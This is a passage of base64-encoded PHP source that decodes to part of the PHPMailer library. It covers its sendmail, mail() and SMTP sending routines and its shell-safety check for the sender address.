XhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgJGV4YzsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1haWwgdXNpbmcgdGhlICRTZW5kbWFpbCBwcm9ncmFtLgogICAgICogQHBhcmFtIHN0cmluZyAkaGVhZGVyIFRoZSBtZXNzYWdlIGhlYWRlcnMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvZHkgVGhlIG1lc3NhZ2UgYm9keQogICAgICogQHNlZSBQSFBNYWlsZXI6OiRTZW5kbWFpbAogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHNlbmRtYWlsU2VuZCgkaGVhZGVyLCAkYm9keSkKICAgIHsKICAgICAgICAvLyBDVkUtMjAxNi0xMDAzMywgQ1ZFLTIwMTYtMTAwNDU6IERvbid0IHBhc3MgLWYgaWYgY2hhcmFjdGVycyB3aWxsIGJlIGVzY2FwZWQuCiAgICAgICAgaWYgKCFlbXB0eSgkdGhpcy0+U2VuZGVyKSBhbmQgc2VsZjo6aXNTaGVsbFNhZmUoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgaWYgKCR0aGlzLT5NYWlsZXIgPT0gJ3FtYWlsJykgewogICAgICAgICAgICAgICAgJHNlbmRtYWlsRm10ID0gJyVzIC1mJXMnOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHNlbmRtYWlsRm10ID0gJyVzIC1vaSAtZiVzIC10JzsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+TWFpbGVyID09ICdxbWFpbCcpIHsKICAgICAgICAgICAgICAgICRzZW5kbWFpbEZtdCA9ICclcyc7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkc2VuZG1haWxGbXQgPSAnJXMgLW9pIC10JzsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gVE9ETzogSWYgcG9zc2libGUsIHRoaXMgc2hvdWxkIGJlIGNoYW5nZWQgdG8gZXNjYXBlc2hlbGxhcmcuICBOZWVkcyB0aG9yb3VnaCB0ZXN0aW5nLgogICAgICAgICRzZW5kbWFpbCA9IHNwcmludGYoJHNlbmRtYWlsRm10LCBlc2NhcGVzaGVsbGNtZCgkdGhpcy0+U2VuZG1haWwpLCAkdGhpcy0+U2VuZGVyKTsKCiAgICAgICAgaWYgKCR0aGlzLT5TaW5nbGVUbykgewogICAgICAgICAgICBmb3JlYWNoICgkdGhpcy0+U2luZ2xlVG9BcnJheSBhcyAkdG9BZGRyKSB7CiAgICAgICAgICAgICAgICBpZiAoIUAkbWFpbCA9IHBvcGVuKCRzZW5kbWFpbCwgJ3cnKSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4ZWN1dGUnKSAuICR0aGlzLT5TZW5kbWFpbCwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmcHV0cygkbWFpbCwgJ1RvOiAnIC4gJHRvQWRkciAuICJcbiIpOwogICAgICAgICAgICAgICAgZnB1dHMoJG1haWwsICRoZWFkZXIpOwogICAgICAgICAgICAgICAgZnB1dHMoJG1haWwsICRib2R5KTsKICAgICAgICAgICAgICAgICRyZXN1bHQgPSBwY2xvc2UoJG1haWwpOwogICAgICAgICAgICAgICAgJHRoaXMtPmRvQ2FsbGJhY2soCiAgICAgICAgICAgICAgICAgICAgKCRyZXN1bHQgPT0gMCksCiAgICAgICAgICAgICAgICAgICAgYXJyYXkoJHRvQWRkciksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmNjLAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5iY2MsCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlN1YmplY3QsCiAgICAgICAgICAgICAgICAgICAgJGJvZHksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPkZyb20KICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICBpZiAoJHJlc3VsdCAhPSAwKSB7CiAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXhlY3V0ZScpIC4gJHRoaXMtPlNlbmRtYWlsLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICghQCRtYWlsID0gcG9wZW4oJHNlbmRtYWlsLCAndycpKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdleGVjdXRlJykgLiAkdGhpcy0+U2VuZG1haWwsIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZwdXRzKCRtYWlsLCAkaGVhZGVyKTsKICAgICAgICAgICAgZnB1dHMoJG1haWwsICRib2R5KTsKICAgICAgICAgICAgJHJlc3VsdCA9IHBjbG9zZSgkbWFpbCk7CiAgICAgICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKAogICAgICAgICAgICAgICAgKCRyZXN1bHQgPT0gMCksCiAgICAgICAgICAgICAgICAkdGhpcy0+dG8sCiAgICAgICAgICAgICAgICAkdGhpcy0+Y2MsCiAgICAgICAgICAgICAgICAkdGhpcy0+YmNjLAogICAgICAgICAgICAgICAgJHRoaXMtPlN1YmplY3QsCiAgICAgICAgICAgICAgICAkYm9keSwKICAgICAgICAgICAgICAgICR0aGlzLT5Gcm9tCiAgICAgICAgICAgICk7CiAgICAgICAgICAgIGlmICgkcmVzdWx0ICE9IDApIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4ZWN1dGUnKSAuICR0aGlzLT5TZW5kbWFpbCwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgLyoqCiAgICAgKiBGaXggQ1ZFLTIwMTYtMTAwMzMgYW5kIENWRS0yMDE2LTEwMDQ1IGJ5IGRpc2FsbG93aW5nIHBvdGVudGlhbGx5IHVuc2FmZSBzaGVsbCBjaGFyYWN0ZXJzLgogICAgICoKICAgICAqIE5vdGUgdGhhdCBlc2NhcGVzaGVsbGFyZyBhbmQgZXNjYXBlc2hlbGxjbWQgYXJlIGluYWRlcXVhdGUgZm9yIG91ciBwdXJwb3NlcywgZXNwZWNpYWxseSBvbiBXaW5kb3dzLgogICAgICogQHBhcmFtIHN0cmluZyAkc3RyaW5nIFRoZSBzdHJpbmcgdG8gYmUgdmFsaWRhdGVkCiAgICAgKiBAc2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9QSFBNYWlsZXIvUEhQTWFpbGVyL2lzc3Vlcy85MjQgQ1ZFLTIwMTYtMTAwNDUgYnVnIHJlcG9ydAogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwcm90ZWN0ZWQgc3RhdGljIGZ1bmN0aW9uIGlzU2hlbGxTYWZlKCRzdHJpbmcpCiAgICB7CiAgICAgICAgLy8gRnV0dXJlLXByb29mCiAgICAgICAgaWYgKGVzY2FwZXNoZWxsY21kKCRzdHJpbmcpICE9PSAkc3RyaW5nCiAgICAgICAgICAgIG9yICFpbl9hcnJheShlc2NhcGVzaGVsbGFyZygkc3RyaW5nKSwgYXJyYXkoIickc3RyaW5nJyIsICJcIiRzdHJpbmdcIiIpKQogICAgICAgICkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQoKICAgICAgICAkbGVuZ3RoID0gc3RybGVuKCRzdHJpbmcpOwoKICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSsrKSB7CiAgICAgICAgICAgICRjID0gJHN0cmluZ1skaV07CgogICAgICAgICAgICAvLyBBbGwgb3RoZXIgY2hhcmFjdGVycyBoYXZlIGEgc3BlY2lhbCBtZWFuaW5nIGluIGF0IGxlYXN0IG9uZSBjb21tb24gc2hlbGwsIGluY2x1ZGluZyA9IGFuZCArLgogICAgICAgICAgICAvLyBGdWxsIHN0b3AgKC4pIGhhcyBhIHNwZWNpYWwgbWVhbmluZyBpbiBjbWQuZXhlLCBidXQgaXRzIGltcGFjdCBzaG91bGQgYmUgbmVnbGlnaWJsZSBoZXJlLgogICAgICAgICAgICAvLyBOb3RlIHRoYXQgdGhpcyBkb2VzIHBlcm1pdCBub24tTGF0aW4gYWxwaGFudW1lcmljIGNoYXJhY3RlcnMgYmFzZWQgb24gdGhlIGN1cnJlbnQgbG9jYWxlLgogICAgICAgICAgICBpZiAoIWN0eXBlX2FsbnVtKCRjKSAmJiBzdHJwb3MoJ0BfLS4nLCAkYykgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIC8qKgogICAgICogQ2hlY2sgd2hldGhlciBhIGZpbGUgcGF0aCBpcyBvZiBhIHBlcm1pdHRlZCB0eXBlLgogICAgICogVXNlZCB0byByZWplY3QgVVJMcyBhbmQgcGhhciBmaWxlcyBmcm9tIGZ1bmN0aW9ucyB0aGF0IGFjY2VzcyBsb2NhbCBmaWxlIHBhdGhzLAogICAgICogc3VjaCBhcyBhZGRBdHRhY2htZW50LgogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aCBBIHJlbGF0aXZlIG9yIGFic29sdXRlIHBhdGggdG8gYSBmaWxlLgogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHByb3RlY3RlZCBzdGF0aWMgZnVuY3Rpb24gaXNQZXJtaXR0ZWRQYXRoKCRwYXRoKQogICAgewogICAgICAgIHJldHVybiAhcHJlZ19tYXRjaCgnI15bYS16XSs6Ly8jaScsICRwYXRoKTsKICAgIH0KCiAgICAvKioKICAgICAqIFNlbmQgbWFpbCB1c2luZyB0aGUgUEhQIG1haWwoKSBmdW5jdGlvbi4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGhlYWRlciBUaGUgbWVzc2FnZSBoZWFkZXJzCiAgICAgKiBAcGFyYW0gc3RyaW5nICRib2R5IFRoZSBtZXNzYWdlIGJvZHkKICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vYm9vay5tYWlsLnBocAogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIG1haWxTZW5kKCRoZWFkZXIsICRib2R5KQogICAgewogICAgICAgICR0b0FyciA9IGFycmF5KCk7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPnRvIGFzICR0b2FkZHIpIHsKICAgICAgICAgICAgJHRvQXJyW10gPSAkdGhpcy0+YWRkckZvcm1hdCgkdG9hZGRyKTsKICAgICAgICB9CiAgICAgICAgJHRvID0gaW1wbG9kZSgnLCAnLCAkdG9BcnIpOwoKICAgICAgICAkcGFyYW1zID0gbnVsbDsKICAgICAgICAvL1RoaXMgc2V0cyB0aGUgU01UUCBlbnZlbG9wZSBzZW5kZXIgd2hpY2ggZ2V0cyB0dXJuZWQgaW50byBhIHJldHVybi1wYXRoIGhlYWRlciBieSB0aGUgcmVjZWl2ZXIKICAgICAgICBpZiAoIWVtcHR5KCR0aGlzLT5TZW5kZXIpIGFuZCAkdGhpcy0+dmFsaWRhdGVBZGRyZXNzKCR0aGlzLT5TZW5kZXIpKSB7CiAgICAgICAgICAgIC8vIENWRS0yMDE2LTEwMDMzLCBDVkUtMjAxNi0xMDA0NTogRG9uJ3QgcGFzcyAtZiBpZiBjaGFyYWN0ZXJzIHdpbGwgYmUgZXNjYXBlZC4KICAgICAgICAgICAgaWYgKHNlbGY6OmlzU2hlbGxTYWZlKCR0aGlzLT5TZW5kZXIpKSB7CiAgICAgICAgICAgICAgICAkcGFyYW1zID0gc3ByaW50ZignLWYlcycsICR0aGlzLT5TZW5kZXIpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPlNlbmRlcikgYW5kICFpbmlfZ2V0KCdzYWZlX21vZGUnKSBhbmQgJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkdGhpcy0+U2VuZGVyKSkgewogICAgICAgICAgICAkb2xkX2Zyb20gPSBpbmlfZ2V0KCdzZW5kbWFpbF9mcm9tJyk7CiAgICAgICAgICAgIGluaV9zZXQoJ3NlbmRtYWlsX2Zyb20nLCAkdGhpcy0+U2VuZGVyKTsKICAgICAgICB9CiAgICAgICAgJHJlc3VsdCA9IGZhbHNlOwogICAgICAgIGlmICgkdGhpcy0+U2luZ2xlVG8gYW5kIGNvdW50KCR0b0FycikgPiAxKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCR0b0FyciBhcyAkdG9BZGRyKSB7CiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPm1haWxQYXNzdGhydSgkdG9BZGRyLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICRoZWFkZXIsICRwYXJhbXMpOwogICAgICAgICAgICAgICAgJHRoaXMtPmRvQ2FsbGJhY2soJHJlc3VsdCwgYXJyYXkoJHRvQWRkciksICR0aGlzLT5jYywgJHRoaXMtPmJjYywgJHRoaXMtPlN1YmplY3QsICRib2R5LCAkdGhpcy0+RnJvbSk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPm1haWxQYXNzdGhydSgkdG8sICR0aGlzLT5TdWJqZWN0LCAkYm9keSwgJGhlYWRlciwgJHBhcmFtcyk7CiAgICAgICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKCRyZXN1bHQsICR0aGlzLT50bywgJHRoaXMtPmNjLCAkdGhpcy0+YmNjLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICR0aGlzLT5Gcm9tKTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCRvbGRfZnJvbSkpIHsKICAgICAgICAgICAgaW5pX3NldCgnc2VuZG1haWxfZnJvbScsICRvbGRfZnJvbSk7CiAgICAgICAgfQogICAgICAgIGlmICghJHJlc3VsdCkgewogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdpbnN0YW50aWF0ZScpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgYW4gaW5zdGFuY2UgdG8gdXNlIGZvciBTTVRQIG9wZXJhdGlvbnMuCiAgICAgKiBPdmVycmlkZSB0aGlzIGZ1bmN0aW9uIHRvIGxvYWQgeW91ciBvd24gU01UUCBpbXBsZW1lbnRhdGlvbgogICAgICogQHJldHVybiBTTVRQCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRTTVRQSW5zdGFuY2UoKQogICAgewogICAgICAgIGlmICghaXNfb2JqZWN0KCR0aGlzLT5zbXRwKSkgewogICAgICAgICAgICAkdGhpcy0+c210cCA9IG5ldyBTTVRQOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHRoaXMtPnNtdHA7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1haWwgdmlhIFNNVFAuCiAgICAgKiBSZXR1cm5zIGZhbHNlIGlmIHRoZXJlIGlzIGEgYmFkIE1BSUwgRlJPTSwgUkNQVCwgb3IgREFUQSBpbnB1dC4KICAgICAqIFVzZXMgdGhlIFBIUE1haWxlclNNVFAgY2xhc3MgYnkgZGVmYXVsdC4KICAgICAqIEBzZWUgUEhQTWFpbGVyOjpnZXRTTVRQSW5zdGFuY2UoKSB0byB1c2UgYSBkaWZmZXJlbnQgY2xhc3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRoZWFkZXIgVGhlIG1lc3NhZ2UgaGVhZGVycwogICAgICogQHBhcmFtIHN0cmluZyAkYm9keSBUaGUgbWVzc2FnZSBib2R5CiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHVzZXMgU01UUAogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gc210cFNlbmQoJGhlYWRlciwgJGJvZHkpCiAgICB7CiAgICAgICAgJGJhZF9yY3B0ID0gYXJyYXkoKTsKICAgICAgICBpZiAoISR0aGlzLT5zbXRwQ29ubmVjdCgkdGhpcy0+U01UUE9wdGlvbnMpKSB7CiAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ3NtdHBfY29ubmVjdF9mYWlsZWQnKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgfQogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPlNlbmRlcikgYW5kICR0aGlzLT52YWxpZGF0ZUFkZHJlc3MoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgJHNtdHBfZnJvbSA9ICR0aGlzLT5TZW5kZXI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHNtdHBfZnJvbSA9ICR0aGlzLT5Gcm9tOwogICAgICAgIH0KICAgICAgICBpZiAoISR0aGlzLT5zbXRwLT5tYWlsKCRzbXRwX2Zyb20pKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZnJvbV9mYWlsZWQnKSAuICRzbXRwX2Zyb20gLiAnIDogJyAuIGltcGxvZGUoJywnLCAkdGhpcy0+c210cC0+Z2V0RXJyb3IoKSkpOwogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5FcnJvckluZm8sIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgIH0KCiAgICAgICAgLy8gQXR0ZW1wdCB0byBzZW5kIHRvIGFsbCByZWNpcGllbnRzCiAgICAgICAgZm9yZWFjaCAoYXJyYXkoJHRoaXMtPnRvLCAkdGhpcy0+Y2MsICR0aGlzLT5iY2MpIGFzICR0b2dyb3VwKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCR0b2dyb3VwIGFzICR0bykgewogICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+c210cC0+cmVjaXBpZW50KCR0b1swXSkpIHsKICAgICAgICAgICAgICAgICAgICAkZXJyb3IgPSAkdGhpcy0+c210cC0+Z2V0RXJyb3IoKTsKICAgICAgICAgICAgICAgICAgICAkYmFkX3JjcHRbXSA9IGFycmF5KCd0bycgPT4gJHRvWzBdLCAnZXJyb3InID0+ICRlcnJvclsnZGV0YWlsJ10pOwogICAgICAgICAgICAgICAgICAgICRpc1NlbnQgPSBmYWxzZTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJGlzU2VudCA9IHRydWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkdGhpcy0+ZG9DYWxsYmFjaygkaXNTZW50LCBhcnJheSgkdG9bMF0pLCBhcnJheSgpLCBhcnJheSgpLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICR0aGlzLT5Gcm9tKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gT25seSBzZW5kIHRoZSBEQVRBIGNvbW1hbmQgaWYgd2UgaGF2ZSB2aWFibGUgcmVjaXBpZW50cwogICAgICAgIGlmICgoY291bnQoJHRoaXMtPmFsbF9yZWNpcGllbnRzKSA+IGNvdW50KCRiYWRfcmNwdCkpIGFuZCAhJHRoaXMtPnNtdHAtPmRhdGEoJGhlYWRlciAuICRib2R5KSkgewogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdkYXRhX25vdF9hY2NlcHRlZCcpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICB9CiAgICAgICAgaWYgKCR0aGlzLT5TTVRQS2VlcEFsaXZlKSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5yZXNldCgpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5xdWl0KCk7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5jbG9zZSgpOwogICAgICAgIH0KICAgICAgICAvL0NyZWF0ZSBlcnJvciBtZXNzYWdlIGZvciBhbnkgYmFkIGFkZHJlc3NlcwogICAgICAgIGlmIChjb3VudCgkYmFkX3JjcHQpID4gMCkgewogICAgICAgICAgICAkZXJyc3RyID0gJyc7CiAgICAgICAgICAgIGZvcmVhY2ggKCRiYWRfcmNwdCBhcyAkYmFkKSB7CiAgICAgICAgICAgICAgICAkZXJyc3RyIC49ICRiYWRbJ3RvJ10gLiAnOiAnIC4gJGJhZFsnZXJyb3InXTsKICAgICAgICAgICAgfQogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKAogICAgICAgICAgICAgICAgJHRoaXMtPmxhbmcoJ3JlY2lwaWVudHNfZmFpbGVkJykgLiAkZXJyc3RyLAogICAgICAgICAgICAgICAgc2VsZjo6U1RPUF9DT05USU5VRQogICAgICAgICAgICApOwogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIEluaXRpYXRlIGEgY29ubmVjdGlvbiB0byBhbiBTTVRQIHNlcnZlci4KICAgICAqIFJldHVybnMgZmFsc2UgaWYgdGhlIG9wZXJhdGlvbiBmYWlsZWQuCiAgICAgKiBAcGFyYW0gYXJyYXkgJG9wdGlvbnMgQW4gYXJyYXkgb2Ygb3B0aW9ucyBjb21wYXRpYmxlIHdpdGggc3RyZWFtX2NvbnRleHRfY3JlYXRlKCkKICAgICAqIEB1c2VzIFNNVFAKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzbXRwQ29ubmVjdCgkb3B0aW9ucyA9IG51bGwpCiAgICB7CiAgICAgICAgaWYgKGlzX251bGwoJHRoaXMtPnNtdHApKSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwID0gJHRoaXMtPmdldFNNVFBJbnN0YW5jZSgpOwogICAgICAgIH0KCiAgICAgICAgLy9JZiBubyBvcHRpb25zIGFyZSBwcm92aWRlZCwgdXNlIHdoYXRldmVyIGlzIHNldCBpbiB0aGUgaW5zdGFuY2UKICAgICAgICBpZiAoaXNfbnVsbCgkb3B0aW9ucykpIHsKICAgICAgICAgICAgJG9wdGlvbnMgPSAkdGhpcy0+U01UUE9wdGlvbnM7CiAgICAgICAgfQoKICAgICAgICAvLyBBbHJlYWR5IGNvbm5lY3RlZD8KICAgICAgICBpZiAoJHRoaXMtPnNtdHAtPmNvbm5lY3RlZCgpKSB7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KCiAgICAgICAgJHRoaXMtPnNtdHAtPnNldFRpbWVvdXQoJHRoaXMtPlRpbWVvdXQpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXREZWJ1Z0xldmVsKCR0aGlzLT5TTVRQRGVidWcpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXREZWJ1Z091dHB1dCgkdGhpcy0+RGVidWdvdXRwdXQpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXRWZXJwKCR0aGlzLT5kb192ZXJwKTsKICAgICAgICAkaG9zdHMgPSBleHBsb2RlKCc7JywgJHRoaXMtPkhvc3QpOwogICAgICAgICRsYXN0ZXhjZXB0aW9uID0gbnVsbDsKCiAgICAgICAgZm9yZWFjaCAoJGhvc3RzIGFzICRob3N0ZW50cnkpIHsKICAgICAgICAgICAgJGhvc3RpbmZvID0gYXJyYXkoKTsKICAgICAgICAgICAgaWYgKCFwcmVnX21hdGNoKAogICAgICAgICAgICAgICAgJy9eKChzc2x8dGxzKTpcL1wvKSooW2EtekEtWjAtOVwuLV0qfFxbW2EtZkEtRjAtOTpdK1xdKTo\/KFswLTldKikkLycsCiAgICAgICAgICAgICAgICB0cmltKCRob3N0ZW50cnkpLAogICAgICAgICAgICAgICAgJGhvc3RpbmZvCiAgICAgICAgICAgICkpIHsKICAgICAgICAgICAgICAgIC8vIE5vdCBhIHZhbGlkIGhvc3QgZW50cnkKICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJ0lnbm9yaW5nIGludmFsaWQgaG9zdDogJyAuICRob3N0ZW50cnkpOwogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy8gJGhvc3RpbmZvWzJdOiBvcHRpb25hbCBzc2wgb3IgdGxzIHByZWZpeAogICAgICAgICAgICAvLyAkaG9zdGluZm9bM106IHRoZSBob3N0bmFtZQogICAgICAgICAgICAvLyAkaG9zdGluZm9bNF06IG9wdGlvbmFsIHBvcnQgbnVtYmVyCiAgICAgICAgICAgIC8vIFRoZSBob3N0IHN0cmluZyBwcmVmaXggY2FuIHRlbXBvcmFyaWx5IG92ZXJyaWRlIHRoZSBjdXJyZW50IHNldHRpbmcgZm9yIFNNVFBTZWN1cmUKICAgICAgICAgICAgLy8gSWYgaXQncyBub3Qgc3BlY2lmaWVkLCB0aGUgZGVmYXVsdCB2YWx1ZSBpcyB1c2VkCiAgICAgICAgICAgICRwcmVmaXggPSAnJzsKICAgICAgICAgICAgJHNlY3VyZSA9ICR0aGlzLT5TTVRQU2VjdXJlOwogICAgICAgICAgICAkdGxzID0gKCR0aGlzLT5TTVRQU2VjdXJlID09ICd0bHMnKTsKICAgICAgICAgICAgaWYgKCdzc2wnID09ICRob3N0aW5mb1syXSBvciAoJycgPT0gJGhvc3RpbmZvWzJdIGFuZCAnc3NsJyA9PSAkdGhpcy0+U01UUFNlY3VyZSkpIHsKICAgICAgICAgICAgICAgICRwcmVmaXggPSAnc3NsOi8vJzsKICAgICAgICAgICAgICAgICR0bHMgPSBmYWxzZTsgLy8gQ2FuJ3QgaGF2ZSBTU0wgYW5kIFRMUyBhdCB0aGUgc2FtZSB0aW1lCiAgICAgICAgICAgICAgICAkc2VjdXJlID0gJ3NzbCc7CiAgICAgICAgICAgIH0gZWxzZWlmICgkaG9zdGluZm9bMl0gPT0gJ3RscycpIHsKICAgICAgICAgICAgICAgICR0bHMgPSB0cnVlOwogICAgICAgICAgICAgICAgLy8gdGxzIGRvZXNuJ3QgdXNlIGEgcHJlZml4CiAgICAgICAgICAgICAgICAkc2VjdXJlID0gJ3Rscyc7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy9EbyB3ZSBuZWVkIHRoZSBPcGVuU1NMIGV4dGVuc2lvbj8KICAgICAgICAgICAgJHNzbGV4dCA9IGRlZmluZWQoJ09QRU5TU0xfQUxHT19TSEExJyk7CiAgICAgICAgICAgIGlmICgndGxzJyA9PT0gJHNlY3VyZSBvciAnc3NsJyA9PT0gJHNlY3VyZSkgewogICAgICAgICAgICAgICAgLy9DaGVjayBmb3IgYW4gT3BlblNTTCBjb25zdGFudCByYXRoZXIgdGhhbiB1c2luZyBleHRlbnNpb25fbG9hZGVkLCB3aGljaCBpcyBzb21ldGltZXMgZGlzYWJsZWQKICAgICAgICAgICAgICAgIGlmICghJHNzbGV4dCkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4dGVuc2lvbl9taXNzaW5nJykuJ29wZW5zc2wnLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkaG9zdCA9ICRob3N0aW5mb1szXTsKICAgICAgICAgICAgJHBvcnQgPSAkdGhpcy0+UG9ydDsKICAgICAgICAgICAgJHRwb3J0ID0gKGludGVnZXIpJGhvc3RpbmZvWzRdOwogICAgICAgICAgICBpZiAoJHRwb3J0ID4gMCBhbmQgJHRwb3J0IDwgNjU1MzYpIHsKICAgICAgICAgICAgICAgICRwb3J0ID0gJHRwb3J0OwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkdGhpcy0+c210cC0+Y29ubmVjdCgkcHJlZml4IC4gJGhvc3QsICRwb3J0LCAkdGhpcy0+VGltZW91dCwgJG9wdGlvbnMpKSB7CiAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+SGVsbykgewogICAgICAgICAgICAgICAgICAgICAgICAkaGV